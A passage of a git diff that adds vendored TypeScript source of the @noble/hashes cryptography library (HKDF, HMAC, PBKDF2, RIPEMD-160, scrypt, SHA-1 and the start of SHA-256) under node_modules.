b/node_modules/@noble/hashes/src/hkdf.ts @@ -0,0 +1,79 @@ +import { hash as assertHash, number as assertNumber } from './_assert.js'; +import { CHash, Input, toBytes } from './utils.js'; +import { hmac } from './hmac.js'; + +// HKDF (RFC 5869) +// https://soatok.blog/2021/11/17/understanding-hkdf/ + +/** + * HKDF-Extract(IKM, salt) -> PRK + * Arguments position differs from spec (IKM is first one, since it is not optional) + * @param hash + * @param ikm + * @param salt + * @returns + */ +export function extract(hash: CHash, ikm: Input, salt?: Input) { + assertHash(hash); + // NOTE: some libraries treat zero-length array as 'not provided'; + // we don't, since we have undefined as 'not provided' + // https://github.com/RustCrypto/KDFs/issues/15 + if (salt === undefined) salt = new Uint8Array(hash.outputLen); // if not provided, it is set to a string of HashLen zeros + return hmac(hash, toBytes(salt), toBytes(ikm)); +} + +// HKDF-Expand(PRK, info, L) -> OKM +const HKDF_COUNTER = /* @__PURE__ */ new Uint8Array([0]); +const EMPTY_BUFFER = /* @__PURE__ */ new Uint8Array(); + +/** + * HKDF-expand from the spec. + * @param prk - a pseudorandom key of at least HashLen octets (usually, the output from the extract step) + * @param info - optional context and application specific information (can be a zero-length string) + * @param length - length of output keying material in octets + */ +export function expand(hash: CHash, prk: Input, info?: Input, length: number = 32) { + assertHash(hash); + assertNumber(length); + if (length > 255 * hash.outputLen) throw new Error('Length should be <= 255*HashLen'); + const blocks = Math.ceil(length / hash.outputLen); + if (info === undefined) info = EMPTY_BUFFER; + // first L(ength) octets of T + const okm = new Uint8Array(blocks * hash.outputLen); + // Re-use HMAC instance between blocks + const HMAC = hmac.create(hash, prk); + const HMACTmp = HMAC._cloneInto(); + const T = new Uint8Array(HMAC.outputLen); + for (let counter = 0; counter < blocks; counter++) { + HKDF_COUNTER[0] = counter + 1; + // T(0) = empty string (zero length) + // T(N) = HMAC-Hash(PRK, T(N-1) | info | N) + HMACTmp.update(counter === 0 ? EMPTY_BUFFER : T) + .update(info) + .update(HKDF_COUNTER) + .digestInto(T); + okm.set(T, hash.outputLen * counter); + HMAC._cloneInto(HMACTmp); + } + HMAC.destroy(); + HMACTmp.destroy(); + T.fill(0); + HKDF_COUNTER.fill(0); + return okm.slice(0, length); +} + +/** + * HKDF (RFC 5869): extract + expand in one step. + * @param hash - hash function that would be used (e.g. sha256) + * @param ikm - input keying material, the initial key + * @param salt - optional salt value (a non-secret random value) + * @param info - optional context and application specific information + * @param length - length of output keying material in octets + */ +export const hkdf = ( + hash: CHash, + ikm: Input, + salt: Input | undefined, + info: Input | undefined, + length: number +) => expand(hash, extract(hash, ikm, salt), info, length); diff --git a/node_modules/@noble/hashes/src/hmac.ts b/node_modules/@noble/hashes/src/hmac.ts new file mode 100644 index 000000000000..bebf4b38a433 --- /dev/null +++ b/node_modules/@noble/hashes/src/hmac.ts @@ -0,0 +1,81 @@ +import { hash as assertHash, bytes as assertBytes, exists as assertExists } from './_assert.js'; +import { Hash, CHash, Input, toBytes } from './utils.js'; +// HMAC (RFC 2104) +export class HMAC> extends Hash> { + oHash: T; + iHash: T; + blockLen: number; + outputLen: number; + private finished = false; + private destroyed = false; + + constructor(hash: CHash, _key: Input) { + super(); + assertHash(hash); + const key = toBytes(_key); + this.iHash = hash.create() as T; + if (typeof this.iHash.update !== 'function') + throw new Error('Expected instance of class which extends utils.Hash'); + this.blockLen = this.iHash.blockLen; + this.outputLen = this.iHash.outputLen; + const blockLen = this.blockLen; + const pad = new Uint8Array(blockLen); + // blockLen can be bigger than outputLen + pad.set(key.length > blockLen ? hash.create().update(key).digest() : key); + for (let i = 0; i < pad.length; i++) pad[i] ^= 0x36; + this.iHash.update(pad); + // By doing update (processing of first block) of outer hash here we can re-use it between multiple calls via clone + this.oHash = hash.create() as T; + // Undo internal XOR && apply outer XOR + for (let i = 0; i < pad.length; i++) pad[i] ^= 0x36 ^ 0x5c; + this.oHash.update(pad); + pad.fill(0); + } + update(buf: Input) { + assertExists(this); + this.iHash.update(buf); + return this; + } + digestInto(out: Uint8Array) { + assertExists(this); + assertBytes(out, this.outputLen); + this.finished = true; + this.iHash.digestInto(out); + this.oHash.update(out); + this.oHash.digestInto(out); + this.destroy(); + } + digest() { + const out = new Uint8Array(this.oHash.outputLen); + this.digestInto(out); + return out; + } + _cloneInto(to?: HMAC): HMAC { + // Create new instance without calling constructor since key already in state and we don't know it. + to ||= Object.create(Object.getPrototypeOf(this), {}); + const { oHash, iHash, finished, destroyed, blockLen, outputLen } = this; + to = to as this; + to.finished = finished; + to.destroyed = destroyed; + to.blockLen = blockLen; + to.outputLen = outputLen; + to.oHash = oHash._cloneInto(to.oHash); + to.iHash = iHash._cloneInto(to.iHash); + return to; + } + destroy() { + this.destroyed = true; + this.oHash.destroy(); + this.iHash.destroy(); + } +} + +/** + * HMAC: RFC2104 message authentication code. + * @param hash - function that would be used e.g. sha256 + * @param key - message key + * @param message - message data + */ +export const hmac = (hash: CHash, key: Input, message: Input): Uint8Array => + new HMAC(hash, key).update(message).digest(); +hmac.create = (hash: CHash, key: Input) => new HMAC(hash, key); diff --git a/node_modules/@noble/hashes/src/index.ts b/node_modules/@noble/hashes/src/index.ts new file mode 100644 index 000000000000..1505776de094 --- /dev/null +++ b/node_modules/@noble/hashes/src/index.ts @@ -0,0 +1 @@ +throw new Error('noble-hashes have no entry-point: consult README for usage'); diff --git a/node_modules/@noble/hashes/src/pbkdf2.ts b/node_modules/@noble/hashes/src/pbkdf2.ts new file mode 100644 index 000000000000..b5f7e6aaead8 --- /dev/null +++ b/node_modules/@noble/hashes/src/pbkdf2.ts @@ -0,0 +1,97 @@ +import { hash as assertHash, number as assertNumber } from './_assert.js'; +import { hmac } from './hmac.js'; +import { Hash, CHash, Input, createView, toBytes, checkOpts, asyncLoop } from './utils.js'; + +// PBKDF (RFC 2898) +export type Pbkdf2Opt = { + c: number; // Iterations + dkLen?: number; // Desired key length in bytes (Intended output length in octets of the derived key + asyncTick?: number; // Maximum time in ms for which async function can block execution +}; +// Common prologue and epilogue for sync/async functions +function pbkdf2Init(hash: CHash, _password: Input, _salt: Input, _opts: Pbkdf2Opt) { + assertHash(hash); + const opts = checkOpts({ dkLen: 32, asyncTick: 10 }, _opts); + const { c, dkLen, asyncTick } = opts; + assertNumber(c); + assertNumber(dkLen); + assertNumber(asyncTick); + if (c < 1) throw new Error('PBKDF2: iterations (c) should be >= 1'); + const password = toBytes(_password); + const salt = toBytes(_salt); + // DK = PBKDF2(PRF, Password, Salt, c, dkLen); + const DK = new Uint8Array(dkLen); + // U1 = PRF(Password, Salt + INT_32_BE(i)) + const PRF = hmac.create(hash, password); + const PRFSalt = PRF._cloneInto().update(salt); + return { c, dkLen, asyncTick, DK, PRF, PRFSalt }; +} + +function pbkdf2Output>( + PRF: Hash, + PRFSalt: Hash, + DK: Uint8Array, + prfW: Hash, + u: Uint8Array +) { + PRF.destroy(); + PRFSalt.destroy(); + if (prfW) prfW.destroy(); + u.fill(0); + return DK; +} + +/** + * PBKDF2-HMAC: RFC 2898 key derivation function + * @param hash - hash function that would be used e.g. sha256 + * @param password - password from which a derived key is generated + * @param salt - cryptographic salt + * @param opts - {c, dkLen} where c is work factor and dkLen is output message size + */ +export function pbkdf2(hash: CHash, password: Input, salt: Input, opts: Pbkdf2Opt) { + const { c, dkLen, DK, PRF, PRFSalt } = pbkdf2Init(hash, password, salt, opts); + let prfW: any; // Working copy + const arr = new Uint8Array(4); + const view = createView(arr); + const u = new Uint8Array(PRF.outputLen); + // DK = T1 + T2 + ⋯ + Tdklen/hlen + for (let ti = 1, pos = 0; pos < dkLen; ti++, pos += PRF.outputLen) { + // Ti = F(Password, Salt, c, i) + const Ti = DK.subarray(pos, pos + PRF.outputLen); + view.setInt32(0, ti, false); + // F(Password, Salt, c, i) = U1 ^ U2 ^ ⋯ ^ Uc + // U1 = PRF(Password, Salt + INT_32_BE(i)) + (prfW = PRFSalt._cloneInto(prfW)).update(arr).digestInto(u); + Ti.set(u.subarray(0, Ti.length)); + for (let ui = 1; ui < c; ui++) { + // Uc = PRF(Password, Uc−1) + PRF._cloneInto(prfW).update(u).digestInto(u); + for (let i = 0; i < Ti.length; i++) Ti[i] ^= u[i]; + } + } + return pbkdf2Output(PRF, PRFSalt, DK, prfW, u); +} + +export async function pbkdf2Async(hash: CHash, password: Input, salt: Input, opts: Pbkdf2Opt) { + const { c, dkLen, asyncTick, DK, PRF, PRFSalt } = pbkdf2Init(hash, password, salt, opts); + let prfW: any; // Working copy + const arr = new Uint8Array(4); + const view = createView(arr); + const u = new Uint8Array(PRF.outputLen); + // DK = T1 + T2 + ⋯ + Tdklen/hlen + for (let ti = 1, pos = 0; pos < dkLen; ti++, pos += PRF.outputLen) { + // Ti = F(Password, Salt, c, i) + const Ti = DK.subarray(pos, pos + PRF.outputLen); + view.setInt32(0, ti, false); + // F(Password, Salt, c, i) = U1 ^ U2 ^ ⋯ ^ Uc + // U1 = PRF(Password, Salt + INT_32_BE(i)) + (prfW = PRFSalt._cloneInto(prfW)).update(arr).digestInto(u); + Ti.set(u.subarray(0, Ti.length)); + await asyncLoop(c - 1, asyncTick, () => { + // Uc = PRF(Password, Uc−1) + PRF._cloneInto(prfW).update(u).digestInto(u); + for (let i = 0; i < Ti.length; i++) Ti[i] ^= u[i]; + }); + } + return pbkdf2Output(PRF, PRFSalt, DK, prfW, u); +} diff --git a/node_modules/@noble/hashes/src/ripemd160.ts b/node_modules/@noble/hashes/src/ripemd160.ts new file mode 100644 index 000000000000..5f32380748c6 --- /dev/null +++ b/node_modules/@noble/hashes/src/ripemd160.ts @@ -0,0 +1,110 @@ +import { SHA2 } from './_sha2.js'; +import { wrapConstructor } from './utils.js'; + +// https://homes.esat.kuleuven.be/~bosselae/ripemd160.html +// https://homes.esat.kuleuven.be/~bosselae/ripemd160/pdf/AB-9601/AB-9601.pdf +const Rho = /* @__PURE__ */ new Uint8Array([7, 4, 13, 1, 10, 6, 15, 3, 12, 0, 9, 5, 2, 14, 11, 8]); +const Id = /* @__PURE__ */ Uint8Array.from({ length: 16 }, (_, i) => i); +const Pi = /* @__PURE__ */ Id.map((i) => (9 * i + 5) % 16); +let idxL = [Id]; +let idxR = [Pi]; +for (let i = 0; i < 4; i++) for (let j of [idxL, idxR]) j.push(j[i].map((k) => Rho[k])); + +const shifts = /* @__PURE__ */ [ + [11, 14, 15, 12, 5, 8, 7, 9, 11, 13, 14, 15, 6, 7, 9, 8], + [12, 13, 11, 15, 6, 9, 9, 7, 12, 15, 11, 13, 7, 8, 7, 7], + [13, 15, 14, 11, 7, 7, 6, 8, 13, 14, 13, 12, 5, 5, 6, 9], + [14, 11, 12, 14, 8, 6, 5, 5, 15, 12, 15, 14, 9, 9, 8, 6], + [15, 12, 13, 13, 9, 5, 8, 6, 14, 11, 12, 11, 8, 6, 5, 5], +].map((i) => new Uint8Array(i)); +const shiftsL = /* @__PURE__ */ idxL.map((idx, i) => idx.map((j) => shifts[i][j])); +const shiftsR = /* @__PURE__ */ idxR.map((idx, i) => idx.map((j) => shifts[i][j])); +const Kl = /* @__PURE__ */ new Uint32Array([ + 0x00000000, 0x5a827999, 0x6ed9eba1, 0x8f1bbcdc, 0xa953fd4e, +]); +const Kr = /* @__PURE__ */ new Uint32Array([ + 0x50a28be6, 0x5c4dd124, 0x6d703ef3, 0x7a6d76e9, 0x00000000, +]); +// The rotate left (circular left shift) operation for uint32 +const rotl = (word: number, shift: number) => (word << shift) | (word >>> (32 - shift)); +// It's called f() in spec. +function f(group: number, x: number, y: number, z: number): number { + if (group === 0) return x ^ y ^ z; + else if (group === 1) return (x & y) | (~x & z); + else if (group === 2) return (x | ~y) ^ z; + else if (group === 3) return (x & z) | (y & ~z); + else return x ^ (y | ~z); +} +// Temporary buffer, not used to store anything between runs +const BUF = /* @__PURE__ */ new Uint32Array(16); +export class RIPEMD160 extends SHA2 { + private h0 = 0x67452301 | 0; + private h1 = 0xefcdab89 | 0; + private h2 = 0x98badcfe | 0; + private h3 = 0x10325476 | 0; + private h4 = 0xc3d2e1f0 | 0; + + constructor() { + super(64, 20, 8, true); + } + protected get(): [number, number, number, number, number] { + const { h0, h1, h2, h3, h4 } = this; + return [h0, h1, h2, h3, h4]; + } + protected set(h0: number, h1: number, h2: number, h3: number, h4: number) { + this.h0 = h0 | 0; + this.h1 = h1 | 0; + this.h2 = h2 | 0; + this.h3 = h3 | 0; + this.h4 = h4 | 0; + } + protected process(view: DataView, offset: number): void { + for (let i = 0; i < 16; i++, offset += 4) BUF[i] = view.getUint32(offset, true); + // prettier-ignore + let al = this.h0 | 0, ar = al, + bl = this.h1 | 0, br = bl, + cl = this.h2 | 0, cr = cl, + dl = this.h3 | 0, dr = dl, + el = this.h4 | 0, er = el; + + // Instead of iterating 0 to 80, we split it into 5 groups + // And use the groups in constants, functions, etc. Much simpler + for (let group = 0; group < 5; group++) { + const rGroup = 4 - group; + const hbl = Kl[group], hbr = Kr[group]; // prettier-ignore + const rl = idxL[group], rr = idxR[group]; // prettier-ignore + const sl = shiftsL[group], sr = shiftsR[group]; // prettier-ignore + for (let i = 0; i < 16; i++) { + const tl = (rotl(al + f(group, bl, cl, dl) + BUF[rl[i]] + hbl, sl[i]) + el) | 0; + al = el, el = dl, dl = rotl(cl, 10) | 0, cl = bl, bl = tl; // prettier-ignore + } + // 2 loops are 10% faster + for (let i = 0; i < 16; i++) { + const tr = (rotl(ar + f(rGroup, br, cr, dr) + BUF[rr[i]] + hbr, sr[i]) + er) | 0; + ar = er, er = dr, dr = rotl(cr, 10) | 0, cr = br, br = tr; // prettier-ignore + } + } + // Add the compressed chunk to the current hash value + this.set( + (this.h1 + cl + dr) | 0, + (this.h2 + dl + er) | 0, + (this.h3 + el + ar) | 0, + (this.h4 + al + br) | 0, + (this.h0 + bl + cr) | 0 + ); + } + protected roundClean() { + BUF.fill(0); + } + destroy() { + this.destroyed = true; + this.buffer.fill(0); + this.set(0, 0, 0, 0, 0); + } +} + +/** + * RIPEMD-160 - a hash function from 1990s. + * @param message - msg that would be hashed + */ +export const ripemd160 = /* @__PURE__ */ wrapConstructor(() => new RIPEMD160()); diff --git a/node_modules/@noble/hashes/src/scrypt.ts b/node_modules/@noble/hashes/src/scrypt.ts new file mode 100644 index 000000000000..85b68d8bb2c9 --- /dev/null +++ b/node_modules/@noble/hashes/src/scrypt.ts @@ -0,0 +1,240 @@ +import { number as assertNumber } from './_assert.js'; +import { sha256 } from './sha256.js'; +import { pbkdf2 } from './pbkdf2.js'; +import { asyncLoop, checkOpts, Input, u32 } from './utils.js'; + +// RFC 7914 Scrypt KDF + +// Left rotate for uint32 +const rotl = (a: number, b: number) => (a << b) | (a >>> (32 - b)); + +// The main Scrypt loop: uses Salsa extensively. +// Six versions of the function were tried, this is the fastest one. +// prettier-ignore +function XorAndSalsa( + prev: Uint32Array, + pi: number, + input: Uint32Array, + ii: number, + out: Uint32Array, + oi: number +) { + // Based on https://cr.yp.to/salsa20.html + // Xor blocks + let y00 = prev[pi++] ^ input[ii++], y01 = prev[pi++] ^ input[ii++]; + let y02 = prev[pi++] ^ input[ii++], y03 = prev[pi++] ^ input[ii++]; + let y04 = prev[pi++] ^ input[ii++], y05 = prev[pi++] ^ input[ii++]; + let y06 = prev[pi++] ^ input[ii++], y07 = prev[pi++] ^ input[ii++]; + let y08 = prev[pi++] ^ input[ii++], y09 = prev[pi++] ^ input[ii++]; + let y10 = prev[pi++] ^ input[ii++], y11 = prev[pi++] ^ input[ii++]; + let y12 = prev[pi++] ^ input[ii++], y13 = prev[pi++] ^ input[ii++]; + let y14 = prev[pi++] ^ input[ii++], y15 = prev[pi++] ^ input[ii++]; + // Save state to temporary variables (salsa) + let x00 = y00, x01 = y01, x02 = y02, x03 = y03, + x04 = y04, x05 = y05, x06 = y06, x07 = y07, + x08 = y08, x09 = y09, x10 = y10, x11 = y11, + x12 = y12, x13 = y13, x14 = y14, x15 = y15; + // Main loop (salsa) + for (let i = 0; i < 8; i += 2) { + x04 ^= rotl(x00 + x12 | 0, 7); x08 ^= rotl(x04 + x00 | 0, 9); + x12 ^= rotl(x08 + x04 | 0, 13); x00 ^= rotl(x12 + x08 | 0, 18); + x09 ^= rotl(x05 + x01 | 0, 7); x13 ^= rotl(x09 + x05 | 0, 9); + x01 ^= rotl(x13 + x09 | 0, 13); x05 ^= rotl(x01 + x13 | 0, 18); + x14 ^= rotl(x10 + x06 | 0, 7); x02 ^= rotl(x14 + x10 | 0, 9); + x06 ^= rotl(x02 + x14 | 0, 13); x10 ^= rotl(x06 + x02 | 0, 18); + x03 ^= rotl(x15 + x11 | 0, 7); x07 ^= rotl(x03 + x15 | 0, 9); + x11 ^= rotl(x07 + x03 | 0, 13); x15 ^= rotl(x11 + x07 | 0, 18); + x01 ^= rotl(x00 + x03 | 0, 7); x02 ^= rotl(x01 + x00 | 0, 9); + x03 ^= rotl(x02 + x01 | 0, 13); x00 ^= rotl(x03 + x02 | 0, 18); + x06 ^= rotl(x05 + x04 | 0, 7); x07 ^= rotl(x06 + x05 | 0, 9); + x04 ^= rotl(x07 + x06 | 0, 13); x05 ^= rotl(x04 + x07 | 0, 18); + x11 ^= rotl(x10 + x09 | 0, 7); x08 ^= rotl(x11 + x10 | 0, 9); + x09 ^= rotl(x08 + x11 | 0, 13); x10 ^= rotl(x09 + x08 | 0, 18); + x12 ^= rotl(x15 + x14 | 0, 7); x13 ^= rotl(x12 + x15 | 0, 9); + x14 ^= rotl(x13 + x12 | 0, 13); x15 ^= rotl(x14 + x13 | 0, 18); + } + // Write output (salsa) + out[oi++] = (y00 + x00) | 0; out[oi++] = (y01 + x01) | 0; + out[oi++] = (y02 + x02) | 0; out[oi++] = (y03 + x03) | 0; + out[oi++] = (y04 + x04) | 0; out[oi++] = (y05 + x05) | 0; + out[oi++] = (y06 + x06) | 0; out[oi++] = (y07 + x07) | 0; + out[oi++] = (y08 + x08) | 0; out[oi++] = (y09 + x09) | 0; + out[oi++] = (y10 + x10) | 0; out[oi++] = (y11 + x11) | 0; + out[oi++] = (y12 + x12) | 0; out[oi++] = (y13 + x13) | 0; + out[oi++] = (y14 + x14) | 0; out[oi++] = (y15 + x15) | 0; +} + +function BlockMix(input: Uint32Array, ii: number, out: Uint32Array, oi: number, r: number) { + // The block B is r 128-byte chunks (which is equivalent of 2r 64-byte chunks) + let head = oi + 0; + let tail = oi + 16 * r; + for (let i = 0; i < 16; i++) out[tail + i] = input[ii + (2 * r - 1) * 16 + i]; // X ← B[2r−1] + for (let i = 0; i < r; i++, head += 16, ii += 16) { + // We write odd & even Yi at same time. Even: 0bXXXXX0 Odd: 0bXXXXX1 + XorAndSalsa(out, tail, input, ii, out, head); // head[i] = Salsa(blockIn[2*i] ^ tail[i-1]) + if (i > 0) tail += 16; // First iteration overwrites tmp value in tail + XorAndSalsa(out, head, input, (ii += 16), out, tail); // tail[i] = Salsa(blockIn[2*i+1] ^ head[i]) + } +} + +export type ScryptOpts = { + N: number; // cost factor + r: number; // block size + p: number; // parallelization + dkLen?: number; // key length + asyncTick?: number; // block execution max time + maxmem?: number; + onProgress?: (progress: number) => void; +}; + +// Common prologue and epilogue for sync/async functions +function scryptInit(password: Input, salt: Input, _opts?: ScryptOpts) { + // Maxmem - 1GB+1KB by default + const opts = checkOpts( + { + dkLen: 32, + asyncTick: 10, + maxmem: 1024 ** 3 + 1024, + }, + _opts + ); + const { N, r, p, dkLen, asyncTick, maxmem, onProgress } = opts; + assertNumber(N); + assertNumber(r); + assertNumber(p); + assertNumber(dkLen); + assertNumber(asyncTick); + assertNumber(maxmem); + if (onProgress !== undefined && typeof onProgress !== 'function') + throw new Error('progressCb should be function'); + const blockSize = 128 * r; + const blockSize32 = blockSize / 4; + if (N <= 1 || (N & (N - 1)) !== 0 || N >= 2 ** (blockSize / 8) || N > 2 ** 32) { + // NOTE: we limit N to be less than 2**32 because of 32 bit variant of Integrify function + // There is no JS engines that allows alocate more than 4GB per single Uint8Array for now, but can change in future. + throw new Error( + 'Scrypt: N must be larger than 1, a power of 2, less than 2^(128 * r / 8) and less than 2^32' + ); + } + if (p < 0 || p > ((2 ** 32 - 1) * 32) / blockSize) { + throw new Error( + 'Scrypt: p must be a positive integer less than or equal to ((2^32 - 1) * 32) / (128 * r)' + ); + } + if (dkLen < 0 || dkLen > (2 ** 32 - 1) * 32) { + throw new Error( + 'Scrypt: dkLen should be positive integer less than or equal to (2^32 - 1) * 32' + ); + } + const memUsed = blockSize * (N + p); + if (memUsed > maxmem) { + throw new Error( + `Scrypt: parameters too large, ${memUsed} (128 * r * (N + p)) > ${maxmem} (maxmem)` + ); + } + // [B0...Bp−1] ← PBKDF2HMAC-SHA256(Passphrase, Salt, 1, blockSize*ParallelizationFactor) + // Since it has only one iteration there is no reason to use async variant + const B = pbkdf2(sha256, password, salt, { c: 1, dkLen: blockSize * p }); + const B32 = u32(B); + // Re-used between parallel iterations. Array(iterations) of B + const V = u32(new Uint8Array(blockSize * N)); + const tmp = u32(new Uint8Array(blockSize)); + let blockMixCb = () => {}; + if (onProgress) { + const totalBlockMix = 2 * N * p; + // Invoke callback if progress changes from 10.01 to 10.02 + // Allows to draw smooth progress bar on up to 8K screen + const callbackPer = Math.max(Math.floor(totalBlockMix / 10000), 1); + let blockMixCnt = 0; + blockMixCb = () => { + blockMixCnt++; + if (onProgress && (!(blockMixCnt % callbackPer) || blockMixCnt === totalBlockMix)) + onProgress(blockMixCnt / totalBlockMix); + }; + } + return { N, r, p, dkLen, blockSize32, V, B32, B, tmp, blockMixCb, asyncTick }; +} + +function scryptOutput( + password: Input, + dkLen: number, + B: Uint8Array, + V: Uint32Array, + tmp: Uint32Array +) { + const res = pbkdf2(sha256, password, B, { c: 1, dkLen }); + B.fill(0); + V.fill(0); + tmp.fill(0); + return res; +} + +/** + * Scrypt KDF from RFC 7914. + * @param password - pass + * @param salt - salt + * @param opts - parameters + * - `N` is cpu/mem work factor (power of 2 e.g. 2**18) + * - `r` is block size (8 is common), fine-tunes sequential memory read size and performance + * - `p` is parallelization factor (1 is common) + * - `dkLen` is output key length in bytes e.g. 32. + * - `asyncTick` - (default: 10) max time in ms for which async function can block execution + * - `maxmem` - (default: `1024 ** 3 + 1024` aka 1GB+1KB). A limit that the app could use for scrypt + * - `onProgress` - callback function that would be executed for progress report + * @returns Derived key + */ +export function scrypt(password: Input, salt: Input, opts: ScryptOpts) { + const { N, r, p, dkLen, blockSize32, V, B32, B, tmp, blockMixCb } = scryptInit( + password, + salt, + opts + ); + for (let pi = 0; pi < p; pi++) { + const Pi = blockSize32 * pi; + for (let i = 0; i < blockSize32; i++) V[i] = B32[Pi + i]; // V[0] = B[i] + for (let i = 0, pos = 0; i < N - 1; i++) { + BlockMix(V, pos, V, (pos += blockSize32), r); // V[i] = BlockMix(V[i-1]); + blockMixCb(); + } + BlockMix(V, (N - 1) * blockSize32, B32, Pi, r); // Process last element + blockMixCb(); + for (let i = 0; i < N; i++) { + // First u32 of the last 64-byte block (u32 is LE) + const j = B32[Pi + blockSize32 - 16] % N; // j = Integrify(X) % iterations + for (let k = 0; k < blockSize32; k++) tmp[k] = B32[Pi + k] ^ V[j * blockSize32 + k]; // tmp = B ^ V[j] + BlockMix(tmp, 0, B32, Pi, r); // B = BlockMix(B ^ V[j]) + blockMixCb(); + } + } + return scryptOutput(password, dkLen, B, V, tmp); +} + +/** + * Scrypt KDF from RFC 7914. + */ +export async function scryptAsync(password: Input, salt: Input, opts: ScryptOpts) { + const { N, r, p, dkLen, blockSize32, V, B32, B, tmp, blockMixCb, asyncTick } = scryptInit( + password, + salt, + opts + ); + for (let pi = 0; pi < p; pi++) { + const Pi = blockSize32 * pi; + for (let i = 0; i < blockSize32; i++) V[i] = B32[Pi + i]; // V[0] = B[i] + let pos = 0; + await asyncLoop(N - 1, asyncTick, () => { + BlockMix(V, pos, V, (pos += blockSize32), r); // V[i] = BlockMix(V[i-1]); + blockMixCb(); + }); + BlockMix(V, (N - 1) * blockSize32, B32, Pi, r); // Process last element + blockMixCb(); + await asyncLoop(N, asyncTick, () => { + // First u32 of the last 64-byte block (u32 is LE) + const j = B32[Pi + blockSize32 - 16] % N; // j = Integrify(X) % iterations + for (let k = 0; k < blockSize32; k++) tmp[k] = B32[Pi + k] ^ V[j * blockSize32 + k]; // tmp = B ^ V[j] + BlockMix(tmp, 0, B32, Pi, r); // B = BlockMix(B ^ V[j]) + blockMixCb(); + }); + } + return scryptOutput(password, dkLen, B, V, tmp); +} diff --git a/node_modules/@noble/hashes/src/sha1.ts b/node_modules/@noble/hashes/src/sha1.ts new file mode 100644 index 000000000000..1fec22495950 --- /dev/null +++ b/node_modules/@noble/hashes/src/sha1.ts @@ -0,0 +1,88 @@ +import { SHA2 } from './_sha2.js'; +import { wrapConstructor } from './utils.js'; + +// SHA1 was cryptographically broken. +// It is still widely used in legacy apps. Don't use it for a new protocol. + +// RFC 3174 +const rotl = (word: number, shift: number) => (word << shift) | ((word >>> (32 - shift)) >>> 0); +// Choice: a ? b : c +const Chi = (a: number, b: number, c: number) => (a & b) ^ (~a & c); +// Majority function, true if any two inpust is true +const Maj = (a: number, b: number, c: number) => (a & b) ^ (a & c) ^ (b & c); + +// Initial state +const IV = /* @__PURE__ */ new Uint32Array([ + 0x67452301, 0xefcdab89, 0x98badcfe, 0x10325476, 0xc3d2e1f0, +]); + +// Temporary buffer, not used to store anything between runs +// Named this way because it matches specification. +const SHA1_W = /* @__PURE__ */ new Uint32Array(80); +class SHA1 extends SHA2 { + private A = IV[0] | 0; + private B = IV[1] | 0; + private C = IV[2] | 0; + private D = IV[3] | 0; + private E = IV[4] | 0; + + constructor() { + super(64, 20, 8, false); + } + protected get(): [number, number, number, number, number] { + const { A, B, C, D, E } = this; + return [A, B, C, D, E]; + } + protected set(A: number, B: number, C: number, D: number, E: number) { + this.A = A | 0; + this.B = B | 0; + this.C = C | 0; + this.D = D | 0; + this.E = E | 0; + } + protected process(view: DataView, offset: number): void { + for (let i = 0; i < 16; i++, offset += 4) SHA1_W[i] = view.getUint32(offset, false); + for (let i = 16; i < 80; i++) + SHA1_W[i] = rotl(SHA1_W[i - 3] ^ SHA1_W[i - 8] ^ SHA1_W[i - 14] ^ SHA1_W[i - 16], 1); + // Compression function main loop, 80 rounds + let { A, B, C, D, E } = this; + for (let i = 0; i < 80; i++) { + let F, K; + if (i < 20) { + F = Chi(B, C, D); + K = 0x5a827999; + } else if (i < 40) { + F = B ^ C ^ D; + K = 0x6ed9eba1; + } else if (i < 60) { + F = Maj(B, C, D); + K = 0x8f1bbcdc; + } else { + F = B ^ C ^ D; + K = 0xca62c1d6; + } + const T = (rotl(A, 5) + F + E + K + SHA1_W[i]) | 0; + E = D; + D = C; + C = rotl(B, 30); + B = A; + A = T; + } + // Add the compressed chunk to the current hash value + A = (A + this.A) | 0; + B = (B + this.B) | 0; + C = (C + this.C) | 0; + D = (D + this.D) | 0; + E = (E + this.E) | 0; + this.set(A, B, C, D, E); + } + protected roundClean() { + SHA1_W.fill(0); + } + destroy() { + this.set(0, 0, 0, 0, 0); + this.buffer.fill(0); + } +} + +export const sha1 = /* @__PURE__ */ wrapConstructor(() => new SHA1()); diff --git a/node_modules/@noble/hashes/src/sha256.ts b/node_modules/@noble/hashes/src/sha256.ts new file mode 100644 index 000000000000..6f88b9a2bdd4 --- /dev/null +++ b/node_modules/@noble/hashes/src/sha256.ts @@ -0,0 +1,133 @@ +import { SHA2 } from './_sha2.js'; +import { rotr, wrapConstructor } from './utils.js'; + +// SHA2-256 need to try 2^128 hashes to execute birthday attack. +// BTC network is doing 2^67 hashes/sec as per early 2023. + +// Choice: a ? b : c +const Chi = (a: number, b: number, c: number) => (a & b) ^ (~a & c); +// Majority function, true if any two inpust is true +const Maj = (a: number, b: number, c: number) => (a & b) ^ (a & c) ^ (b & c); + +// Round constants: +// first 32 bits of the fractional parts of the cube roots of the first 64 primes 2..311) +// prettier-ignore +const SHA256_K = /* @__PURE__ */new Uint32Array([ + 0x428a2f98, 0x71374491, 0xb5c0fbcf, 0xe9b5dba5, 0x3956c25b, 0x59f111f1, 0x923f82a4, 0xab1c5ed5, + 0xd807aa98, 0x12835b01, 0x243185be, 0x550c7dc3, 0x72be5d74, 0x80deb1fe, 0x9bdc06a7, 0xc19bf174, + 0xe49b69c1, 0xefbe4786, 0x0fc19dc6, 0x240ca1cc, 0x2de92c6f, 0x4a7484aa, 0x5cb0a9dc, 0x76f988da, + 0x983e5152, 0xa831c66d, 0xb00327c8, 0xbf597fc7, 0xc6e00bf3, 0xd5a79147, 0x06ca6351, 0x14292967, + 0x27b70a85, 0x2e1b2138, 0x4d2c6dfc, 0x53380d13, 0x650a7354, 0x766a0abb, 0x81c2c92e, 0x92722c85, + 0xa2bfe8a1, 0xa81a664b, 0xc24b8b70, 0xc76c51a3, 0xd192e819, 0xd6990624, 0xf40e3585, 0x106aa070, + 0x19a4c116, 0x1e376c08, 0x2748774c, 0x34b0bcb5, 0x391c0cb3, 0x4ed8aa4a, 0x5b9cca4f, 0x682e6ff3, + 0x748f82ee, 0x78a5636f, 0x84c87814, 0x8cc70208, 0x90befffa, 0xa4506ceb, 0xbef9a3f7, 0xc67178f2 +]); + +// Initial state (first 32 bits of the fractional parts of the square roots of the first 8 primes 2..19): +// prettier-ignore +const IV = /* @__PURE__ */new Uint32Array([ + 0x6a09e667, 0xbb67ae85, 0x3c6ef372, 0xa54ff53a, 0x510e527f, 0x9b05688c, 0x1f83d9ab, 0x5be0cd19 +]); + +// Temporary buffer, not used to store anything between runs +// Named this way because it matches specification. +const SHA256_W = /* @__PURE__ */ new Uint32Array(64); +class SHA256 extends SHA2 { + // We cannot use array here since array allows indexing by variable + // which means optimizer/compiler cannot use registers. + A = 